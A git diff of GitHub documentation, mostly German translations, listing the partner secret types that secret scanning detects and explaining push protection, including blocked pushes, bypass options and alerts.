+{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+Segment | Segment Public API Token | segment_public_api_token{% endif %}
+SendGrid | SendGrid API Key | sendgrid_api_key
+Sendinblue | Sendinblue API Key | sendinblue_api_key
+Sendinblue | Sendinblue SMTP Key | sendinblue_smtp_key
+Shippo | Shippo Live API Token | shippo_live_api_token
+Shippo | Shippo Test API Token | shippo_test_api_token
+{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+Shopify | Shopify App Client Credentials | shopify_app_client_credentials
+Shopify | Shopify App Client Secret | shopify_app_client_secret{% endif %}
+Shopify | Shopify App Shared Secret | shopify_app_shared_secret
+Shopify | Shopify Access Token | shopify_access_token
+Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token
+{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+Shopify | Shopify Merchant Token | shopify_merchant_token
+Shopify | Shopify Marketplace Token | shopify_marketplace_token
+Shopify | Shopify Partner API Token | shopify_partner_api_token{% endif %}
+Shopify | Shopify Private App Password | shopify_private_app_password
+Slack | Slack API Token | slack_api_token
+Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url
+Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Square | Square Access Token | square_access_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Square | Square Production Application Secret | square_production_application_secret{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Square | Square Sandbox Application Secret | square_sandbox_application_secret{% endif %}
+SSLMate | SSLMate API Key | sslmate_api_key
+SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret
+Stripe | Stripe API Key | stripe_api_key
+Stripe | Stripe Live API Secret Key | stripe_live_secret_key
+Stripe | Stripe Test API Secret Key | stripe_test_secret_key
+Stripe | Stripe Live API Restricted Key | stripe_live_restricted_key
+Stripe | Stripe Test API Restricted Key | stripe_test_restricted_key
+Stripe | Stripe Webhook Signing Secret | stripe_webhook_signing_secret
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Supabase | Supabase Service Key | supabase_service_key{% endif %}
+Tableau | Tableau {% data variables.product.pat_generic_title_case %} | tableau_personal_access_token
+Telegram | Telegram Bot Token | telegram_bot_token
+Tencent Cloud | Tencent Cloud Secret ID | tencent_cloud_secret_id
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Twilio | Twilio Access Token | twilio_access_token{% endif %}
+Twilio | Twilio Account String Identifier | twilio_account_sid
+Twilio | Twilio API Key | twilio_api_key
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Typeform | Typeform {% data variables.product.pat_generic_title_case %} | typeform_personal_access_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+Uniwise | WISEflow API Key | wiseflow_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+WorkOS | WorkOS Production API Key | workos_production_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+WorkOS | WorkOS Staging API Key | workos_staging_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Yandex | Yandex.Cloud API Key | yandex_cloud_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Yandex | Yandex.Cloud IAM Cookie | yandex_cloud_iam_cookie{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Yandex | Yandex.Cloud IAM Token | yandex_cloud_iam_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Yandex | Yandex.Dictionary API Key | yandex_dictionary_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+Yandex | Yandex.Cloud Access Secret | yandex_iam_access_secret{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Yandex | Yandex.Predictor API Key | yandex_predictor_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Yandex | Yandex.Translate API Key | yandex_translate_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+Zuplo | Zuplo Consumer API Key | zuplo_consumer_api_key{% endif %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/partner-secret-list-public-repo.md b/translations/de-DE/data/reusables/secret-scanning/partner-secret-list-public-repo.md
new file mode 100644
index 0000000000..d377cdf689
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/partner-secret-list-public-repo.md
@@ -0,0 +1,130 @@
+---
+ms.openlocfilehash: cd91a98e6cb0da73a24f7f6e682b67ec25b406d4
+ms.sourcegitcommit: 24427fe609677b2c58137b1d9d63869d0872daf4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: "148134792"
+---
+Partner | Unterstütztes Geheimnis
+--- | ---
+Adafruit IO | Adafruit IO-Schlüssel
+Adobe | Adobe-Gerätetoken
+Adobe | Adobe-Diensttoken
+Adobe | Kurzlebiges Zugriffstoken für Adobe
+Adobe | JSON Web Token für Adobe
+Alibaba Cloud | Paar aus Zugriffsschlüssel-ID und -Geheimnis für Alibaba Cloud
+Amazon Web Services (AWS) | Paar aus Zugriffsschlüssel-ID und geheimem Zugriffsschlüssel für Amazon AWS
+Atlassian | API-Token für Atlassian
+Atlassian | JSON Web Token für Atlassian
+Azure | Anwendungsgeheimnis für Azure Active Directory
+Azure | Azure Batch-Schlüssel identifizierbar
+Azure | Azure CosmosDB-Schlüssel identifizierbar
+Azure | Azure DevOps {% data variables.product.pat_generic_title_case %}
+Azure | Azure ML Studio-Webdienstschlüssel (klassisch)
+Azure | SAS-Token für Azure
+Azure | Zertifikat für die Azure-Dienstverwaltung
+Azure | Azure SQL-Verbindungszeichenfolge
+Azure | Azure Storage-Kontoschlüssel
+Checkout.com | Geheimer Produktionsschlüssel für Checkout.com
+Checkout.com | Geheimer Testschlüssel für Checkout.com
+Chief | Chief Tools-Token
+Clojars | Bereitstellungstoken für Clojars
+CloudBees CodeShip | Anmeldeinformationen für CloudBees CodeShip
+Contributed Systems | Anmeldeinformation für Contributed Systems
+Databricks | Zugriffstoken für Databricks
+Datadog | API-Schlüssel für Datadog
+DevCycle | DevCycle-Client-API-Schlüssel
+DevCycle | DevCycle-Server-API-Schlüssel
+DigitalOcean | DigitalOcean {% data variables.product.pat_generic_title_case %}
+DigitalOcean | OAuth-Token für DigitalOcean
+DigitalOcean | Aktualisierungstoken für DigitalOcean
+DigitalOcean | Systemtoken für DigitalOcean
+Discord | Token für Discord-Bot
+Doppler | Persönliches Token für Doppler
+Doppler | Diensttoken für Doppler
+Doppler | Token für Doppler CLI
+Doppler | SCIM-Token für Doppler
+Doppler | Überprüfungstoken für Doppler
+Dropbox | Zugriffstoken für Dropbox
+Dropbox | Kurzlebiges Zugriffstoken für Dropbox
+Dynatrace | Zugriffstoken für Dynatrace
+Dynatrace | Internes Token für Dynatrace
+Finicity | App-Schlüssel für Finicity
+Frame.io | JSON Web Token für Frame.io
+Frame.io| Entwicklertoken für Frame.io
+FullStory| API-Schlüssel für FullStory
+GitHub | GitHub {% data variables.product.pat_generic_title_case %}
+GitHub | OAuth-Zugriffstoken für GitHub
+GitHub | Aktualisierungstoken für GitHub
+GitHub | Zugriffstoken für GitHub App-Installation
+GitHub | Privater SSH-Schlüssel für GitHub
+GoCardless | Zugriffstoken für GoCardless Live
+GoCardless | Zugriffstoken für GoCardless Sandbox
+Google Cloud | API-Schlüssel für Google
+Google Cloud | ID des privaten Schlüssels für Google Cloud
+Hashicorp Terraform | API-Token für Terraform Cloud/Enterprise
+Hubspot | API-Schlüssel für Hubspot
+Ionic | Ionic {% data variables.product.pat_generic_title_case %}
+Ionic | Aktualisierungstoken für Ionic
+JD Cloud | Zugriffsschlüssel für JD Cloud
+Linear | API-Schlüssel für Linear
+Linear | OAuth-Zugriffstoken für Linear
+MailChimp | API-Schlüssel für Mailchimp
+MailChimp | API-Schlüssel für Mandrill
+Mailgun | API-Schlüssel für Mailgun
+MessageBird | API-Schlüssel für MessageBird
+Meta | Zugriffstoken für Facebook
+npm | Zugriffstoken für npm
+NuGet | API-Schlüssel für NuGet
+Octopus Deploy | API-Schlüssel für Octopus Deploy
+OpenAI | API-Schlüssel für OpenAI
+Palantir | JSON Web Token für Palantir
+PlanetScale | Kennwort für PlanetScale-Datenbank
+PlanetScale | OAuth-Token für PlanetScale
+PlanetScale | Diensttoken für PlanetScale
+Plivo | Authentifizierungs-ID und -token für Plivo
+postman | API-Schlüssel für Postman
+Prefect | API-Schlüssel für Prefect
+Prefect | Benutzer-API-Token für Prefect
+Proctorio | Consumerschlüssel für Proctorio
+Proctorio | Bindungsschlüssel für Proctorio
+Proctorio | Registrierungsschlüssel für Proctorio
+Proctorio | Geheimer Schlüssel für Proctorio
+Pulumi | Zugriffstoken für Pulumi
+PyPI | API-Token für PyPI
+Infodatei | API-Zugriffsschlüssel für ReadMe
+redirect.pizza | API-Token für redirect.pizza
+RubyGems | API-Schlüssel für RubyGems
+Samsara | API-Token für Samsara
+Samsara | OAuth-Zugriffstoken für Samsara
+SendGrid | SendGrid-API-Schlüssel
+Sendinblue | API-Schlüssel für Sendinblue
+Sendinblue | SMTP-Schlüssel für Sendinblue
+Shopify | Gemeinsam verwendetes Geheimnis für Shopify-App
+Shopify | Zugriffstoken für Shopify
+Shopify | Benutzerdefiniertes App-Zugriffstoken für Shopify
+Shopify | Privates App-Kennwort für Shopify
+Slack | API-Token für Slack
+Slack | Eingehende Webhook-URL für Slack
+Slack | Webhook-URL für Shopify-Workflow
+SSLMate | API-Schlüssel für SSLMate
+SSLMate | Clustergeheimnis für SSLMate
+Stripe | Geheimer Schlüssel für Stripe-Live-API
+Stripe | Geheimer API-Schlüssel (Test) für Stripe
+Stripe | Eingeschränkter API-Schlüssel (Live) für Stripe
+Stripe | Eingeschränkter API-Schlüssel (Test) für Stripe
+Supabase | Dienstschlüssel für Supabase
+Tencent Cloud | Geheimnis-ID für Tencent Cloud
+Twilio | Kontozeichenfolgenbezeichner für Twilio
+Twilio | API-Schlüssel für Twilio
+Typeform | Typeform {% data variables.product.pat_generic_title_case %}
+Uniwise | API-Schlüssel für WISEflow 
+Valour | Zugriffstoken für Valour
+Yandex | Yandex.Cloud-API-Schlüssel   
+Yandex | Yandex.Cloud-IAM-Cookie    
+Yandex | Yandex.Cloud-IAM-Token 
+Yandex | Yandex.Dictionary-API-Schlüssel  
+Yandex | Geheimnis für Yandex.Cloud-Zugriff 
+Yandex | Yandex.Passport-OAuth-Token    
+Zuplo | Consumer-API für Zuplo
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-allow-email.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-allow-email.md
new file mode 100644
index 0000000000..b0c44dd5ea
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-allow-email.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 46850cadc908d94d514fde76ee0fecbddce0affe
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108458"
+---
+{% ifversion secret-scanning-push-protection-email %} Wenn ein Mitwirkender einen Pushschutzblock für ein Geheimnis umgeht, sendet {% data variables.product.prodname_dotcom %} auch eine Warnung per E-Mail an die Organisationsbesitzer, Sicherheits-Manager und Repositoryadministratoren, die sich für E-Mail-Benachrichtigungen angemeldet haben.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-allow-secrets-alerts.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-allow-secrets-alerts.md
new file mode 100644
index 0000000000..1b8d5317f6
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-allow-secrets-alerts.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 110de05126a0656467f63f7c377b257adf401c26
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147064962"
+---
+Wenn du das Pushen eines Geheimnisses zulässt, wird auf der Registerkarte „Sicherheit“ eine Warnung erstellt. {% data variables.product.prodname_dotcom %} schließt diese Warnung und sendet keine Benachrichtigung, wenn du angibst, dass das Geheimnis ein False Positive ist oder nur in Tests verwendet wird. Wenn du angibst, dass das Geheimnis echt ist und das Problem später behoben wird, lässt {% data variables.product.prodname_dotcom %} die Sicherheitsbenachrichtigung offen und sendet Benachrichtigungen an den*die Autor*in des Commits sowie an die Repositoryadministrator*innen. Weitere Informationen findest du unter [Verwalten von Warnungen der Geheimnisüberprüfung](/code-security/secret-scanning/managing-alerts-from-secret-scanning).
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-beta.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-beta.md
new file mode 100644
index 0000000000..bba279e6cf
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: ea86b41aadceb914d9601e98c541249806ae6f7c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887857"
+---
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_secret_scanning_caps %} als Schutzpush liegt derzeit als Betaversion vor und kann noch geändert werden. Um den Zugriff auf das Betarelease anzufordern, [wende dich an dein Kontoverwaltungsteam](https://github.com/enterprise/contact).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-choose-allow-secret-options.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-choose-allow-secret-options.md
new file mode 100644
index 0000000000..3f74885e2d
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-choose-allow-secret-options.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 3a921ec22c1ce29805ee6fa7309532f261d15bff
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876829"
+---
+2. Wähle die Option aus, die am besten beschreibt, warum du in der Lage sein solltest, den geheimen Schlüssel zu pushen.
+    - Wenn das Geheimnis nur in Tests verwendet wird und keine Bedrohung darstellt, klicke auf **It's used in tests** (Wird in Tests verwendet).
+    - Wenn die erkannte Zeichenfolge kein Geheimnis ist, klicke auf **It's a false positive** (Es handelt sich um einen False Positive).
+    - Wenn das Geheimnis echt ist, du es jedoch später beheben möchtest, klicke auf **I'll fix it later** (Problem wird später behoben).
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-command-line-choice.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-command-line-choice.md
new file mode 100644
index 0000000000..c6b4b29954
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-command-line-choice.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f6618408ed0e7485caa21f232f6a573a23d120f4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147578720"
+---
+Wenn du ein unterstütztes Geheimnis mit {% data variables.product.prodname_secret_scanning %} als Pushschutz an ein Repository oder eine Organisation pushen möchtest, blockiert {% data variables.product.prodname_dotcom %} den Push. Du kannst das Geheimnis aus deinem Branch entfernen oder auf eine bereitgestellte URL klicken, um den Push zuzulassen. 
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-multiple-branch-note.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-multiple-branch-note.md
new file mode 100644
index 0000000000..e197e080ee
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-multiple-branch-note.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 4cc5759031be6a031424abf13b7aa4c1db05c84f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147578710"
+---
+{% note %}
+
+**Hinweise**: 
+
+* Wenn deine Git-Konfiguration das Pushen an mehrere Branches und nicht nur an den aktuellen Branch unterstützt, wird dein Push möglicherweise blockiert, weil zusätzliche und unbeabsichtigte Verweise gepusht werden. Weitere Informationen findest du unter [`push.default`-Optionen](https://git-scm.com/docs/git-config#Documentation/git-config.txt-pushdefault) in der GitHub-Dokumentation.
+* Wenn für {% data variables.product.prodname_secret_scanning %} bei einem Push ein Timeout auftritt, scannt {% data variables.product.prodname_dotcom %} die Commits nach dem Pushen trotzdem auf Geheimnisse.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-overview.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-overview.md
new file mode 100644
index 0000000000..3e32ca00c9
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-overview.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 15b1d93e8ad9c8f7d6bc281335b9f11087b37c50
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067834"
+---
+Wenn du den Pushschutz aktivierst, prüft {% data variables.product.prodname_secret_scanning %} auch Pushnachrichten auf Geheimnisse mit hoher Vertrauenswürdigkeit (solche, die mit einer geringen False-Positive-Rate identifiziert wurden). {% data variables.product.prodname_secret_scanning_caps %} listet alle erkannten Geheimnisse auf, sodass der Autor die Geheimnisse überprüfen und entfernen oder, falls erforderlich, die Weitergabe dieser Geheimnisse per Push erlauben kann.
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-remove-secret.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-remove-secret.md
new file mode 100644
index 0000000000..61da5d0e26
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-remove-secret.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3d0f861b8ee9ff6b4e948dee7dfb67a648021404
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109390"
+---
+Wenn du bestätigen konntest, dass es sich wirklich um ein Geheimnis handelt, musst du dieses vor dem nächsten Push aus deinem Branch und _allen Commits_ entfernen, in denen es vorkommt.
diff --git a/translations/de-DE/data/reusables/secret-scanning/push-protection-web-ui-choice.md b/translations/de-DE/data/reusables/secret-scanning/push-protection-web-ui-choice.md
new file mode 100644
index 0000000000..1a765c2519
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/push-protection-web-ui-choice.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 7bb1603715c255f08ac0bfbe7ff2cdbfe99a3134
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108498"
+---
+Wenn du über die Webbenutzeroberfläche versuchst, ein unterstütztes Geheimnis an ein Repository oder eine Organisation zu übertragen, in dem bzw. der die Überprüfung auf Geheimnisse als Pushschutz aktiviert ist, blockiert {% data variables.product.prodname_dotcom %} den Commit. 
+
+Oben auf der Seite wird ein Banner mit Informationen über den Speicherort des Geheimnisses gezeigt, wobei das Geheimnis auch in der Datei unterstrichen wird, damit du es einfach finden kannst.
+
+{% ifversion push-protection-custom-link-orgs %}
+
+  ![Screenshot des Commits auf der Webbenutzeroberfläche, der aufgrund des Pushschutzes durch die Überprüfung auf Geheimnisse blockiert wurde](/assets/images/help/repository/secret-scanning-push-protection-web-ui-commit-blocked-banner-with-link.png)
+
+{% else %}
+
+  ![Screenshot des Commits auf der Webbenutzeroberfläche, der aufgrund des Pushschutzes durch die Überprüfung auf Geheimnisse blockiert wurde](/assets/images/help/repository/secret-scanning-push-protection-web-ui-commit-blocked-banner.png)
+  
+{% endif %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/secret-list-private-push-protection.md b/translations/de-DE/data/reusables/secret-scanning/secret-list-private-push-protection.md
new file mode 100644
index 0000000000..9e9def0bbc
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/secret-list-private-push-protection.md
@@ -0,0 +1,104 @@
+Provider | Supported secret | Secret type
+--- | --- | ---
+Adafruit IO | Adafruit IO Key | adafruit_io_key
+Alibaba Cloud | Alibaba Cloud Access Key ID with Alibaba Cloud Access Key Secret| alibaba_cloud_access_key_id </br>alibaba_cloud_access_key_secret
+Amazon | Amazon OAuth Client ID with Amazon OAuth Client Secret | amazon_oauth_client_id </br>amazon_oauth_client_secret
+Amazon Web Services (AWS) | Amazon AWS Access Key ID with Amazon AWS Secret Access Key | aws_access_key_id </br>aws_secret_access_key
+Amazon Web Services (AWS) | Amazon AWS Session Token with Amazon AWS Temporary Access Key ID and Amazon AWS Secret Access Key | aws_session_token </br>aws_temporary_access_key_id </br>aws_secret_access_key
+Asana | Asana {% data variables.product.pat_generic_title_case %} | asana_personal_access_token
+Atlassian | Bitbucket Server {% data variables.product.pat_generic_title_case %} | bitbucket_server_personal_access_token
+Azure | Azure Active Directory Application Secret | azure_active_directory_application_secret
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+Azure | Azure Batch Key Identifiable | azure_batch_key_identifiable{% endif %}
+Azure | Azure Cache for Redis Access Key | azure_cache_for_redis_access_key
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+Azure | Azure CosmosDB Key Identifiable | azure_cosmosdb_key_identifiable{% endif %}
+Azure | Azure DevOps {% data variables.product.pat_generic_title_case %} | azure_devops_personal_access_token
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+Azure | Azure ML Studio (classic) Web Service Key | azure_ml_studio_classic_web_service_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+Azure | Azure Storage Account Key | azure_storage_account_key{% endif %}
+Checkout.com | Checkout.com Production Secret Key | checkout_production_secret_key
+Clojars | Clojars Deploy Token | clojars_deploy_token
+Databricks | Databricks Access Token | databricks_access_token
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+DevCycle | DevCycle Client API Key | devcycle_client_api_key
+DevCycle | DevCycle Server API Key | devcycle_server_api_key
+DevCycle | DevCycle Mobile API Key | devcycle_mobile_api_key{% endif %}
+DigitalOcean | DigitalOcean {% data variables.product.pat_generic_title_case %} | digitalocean_personal_access_token
+DigitalOcean | DigitalOcean OAuth Token | digitalocean_oauth_token
+DigitalOcean | DigitalOcean Refresh Token | digitalocean_refresh_token
+DigitalOcean | DigitalOcean System Token | digitalocean_system_token
+Discord | Discord Bot Token | discord_bot_token
+Doppler | Doppler Personal Token | doppler_personal_token
+Doppler | Doppler Service Token | doppler_service_token
+Doppler | Doppler CLI Token | doppler_cli_token
+Doppler | Doppler SCIM Token | doppler_scim_token
+Doppler | Doppler Audit Token | doppler_audit_token
+Dropbox | Dropbox Short Lived Access Token | dropbox_short_lived_access_token
+Duffel | Duffel Live Access Token | duffel_live_access_token
+EasyPost | EasyPost Production API Key | easypost_production_api_key
+Flutterwave | Flutterwave Live API Secret Key | flutterwave_live_api_secret_key
+Fullstory | FullStory API Key | fullstory_api_key
+GitHub | GitHub {% data variables.product.pat_generic_title_case %} | github_personal_access_token
+GitHub | GitHub OAuth Access Token | github_oauth_access_token
+GitHub | GitHub Refresh Token | github_refresh_token
+GitHub | GitHub App Installation Access Token | github_app_installation_access_token
+GitHub | GitHub SSH Private Key | github_ssh_private_key
+Google | Google Cloud Storage Service Account Access Key ID with Google Cloud Storage Access Key Secret | google_cloud_storage_service_account_access_key_id </br>google_cloud_storage_access_key_secret
+Google | Google Cloud Storage User Access Key ID with Google Cloud Storage Access Key Secret | google_cloud_storage_user_access_key_id </br>google_cloud_storage_access_key_secret
+Google | Google OAuth Client ID with Google OAuth Client Secret | google_oauth_client_id </br>google_oauth_client_secret
+Grafana | Grafana API Key | grafana_api_key
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+HashiCorp | HashiCorp Vault Batch Token (v1.10.0+) | hashicorp_vault_batch_token
+HashiCorp | HashiCorp Vault Root Service Token (v1.10.0+) | hashicorp_vault_root_service_token
+HashiCorp | HashiCorp Vault Service Token (v1.10.0+) | hashicorp_vault_service_token{% endif %}
+Hubspot | Hubspot API Key | hubspot_api_key
+Intercom | Intercom Access Token | intercom_access_token
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+JFrog | JFrog Platform Access Token | jfrog_platform_access_token
+JFrog | JFrog Platform API Key | jfrog_platform_api_key{% endif %}
+Ionic | Ionic {% data variables.product.pat_generic_title_case %} | ionic_personal_access_token
+Ionic | Ionic Refresh Token | ionic_refresh_token
+Linear | Linear API Key | linear_api_key
+Linear | Linear OAuth Access Token | linear_oauth_access_token
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+LogicMonitor | LogicMonitor Bearer Token | logicmonitor_bearer_token
+LogicMonitor | LogicMonitor LMV1 Access Key | logicmonitor_lmv1_access_key{% endif %}
+Midtrans | Midtrans Production Server Key | midtrans_production_server_key
+New Relic | New Relic Personal API Key | new_relic_personal_api_key
+New Relic | New Relic REST API Key | new_relic_rest_api_key
+New Relic | New Relic Insights Query Key | new_relic_insights_query_key
+npm | npm Access Token | npm_access_token
+NuGet | NuGet API Key | nuget_api_key
+Onfido | Onfido Live API Token | onfido_live_api_token
+OpenAI | OpenAI API Key | openai_api_key
+PlanetScale | PlanetScale Database Password | planetscale_database_password
+PlanetScale | PlanetScale OAuth Token | planetscale_oauth_token
+PlanetScale | PlanetScale Service Token | planetscale_service_token
+Postman | Postman API Key | postman_api_key
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+Prefect | Prefect Server API Key | prefect_server_api_key
+Prefect | Prefect User API Key | prefect_user_api_key{% endif %}
+Proctorio | Proctorio Secret Key | proctorio_secret_key
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+ReadMe | ReadMe API Access Key | readmeio_api_access_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %}
+redirect.pizza | redirect.pizza API Token | redirect_pizza_api_token{% endif %}
+Samsara | Samsara API Token | samsara_api_token
+Samsara | Samsara OAuth Access Token | samsara_oauth_access_token
+SendGrid | SendGrid API Key | sendgrid_api_key
+Sendinblue | Sendinblue API Key | sendinblue_api_key
+Sendinblue | Sendinblue SMTP Key | sendinblue_smtp_key
+Shippo | Shippo Live API Token | shippo_live_api_token
+Shopify | Shopify App Shared Secret | shopify_app_shared_secret
+Shopify | Shopify Access Token | shopify_access_token
+Slack | Slack API Token | slack_api_token
+Stripe | Stripe Live API Secret Key | stripe_api_key
+Tencent Cloud | Tencent Cloud Secret ID | tencent_cloud_secret_id
+Typeform | Typeform {% data variables.product.pat_generic_title_case %} | typeform_personal_access_token
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+Uniwise | WISEflow API Key | wiseflow_api_key{% endif %}
+WorkOS | WorkOS Production API Key | workos_production_api_key
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+Zuplo | Zuplo Consumer API Key | zuplo_consumer_api_key{% endif %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/secret-scanning-pattern-pair-matches.md b/translations/de-DE/data/reusables/secret-scanning/secret-scanning-pattern-pair-matches.md
new file mode 100644
index 0000000000..241d87dce7
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/secret-scanning-pattern-pair-matches.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7813507637dede82eb4931ce69b4bccd74e62875
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147410786"
+---
+Wenn der Zugriff auf eine Ressource gekoppelte Anmeldeinformationen erfordert, löst die Überprüfung des Geheimnisses nur dann eine Warnung aus, wenn beide Teile der Kopplung in derselben Datei erkannt werden. So wird sichergestellt, dass die wichtigsten Lecks nicht hinter Informationen über partielle Lecks versteckt bleiben.
diff --git a/translations/de-DE/data/reusables/secret-scanning/secret-scanning-process.md b/translations/de-DE/data/reusables/secret-scanning/secret-scanning-process.md
new file mode 100644
index 0000000000..d586e3abbc
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/secret-scanning-process.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1e0634210e9579125f9acfcc96ca0a14e151f037
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882247"
+---
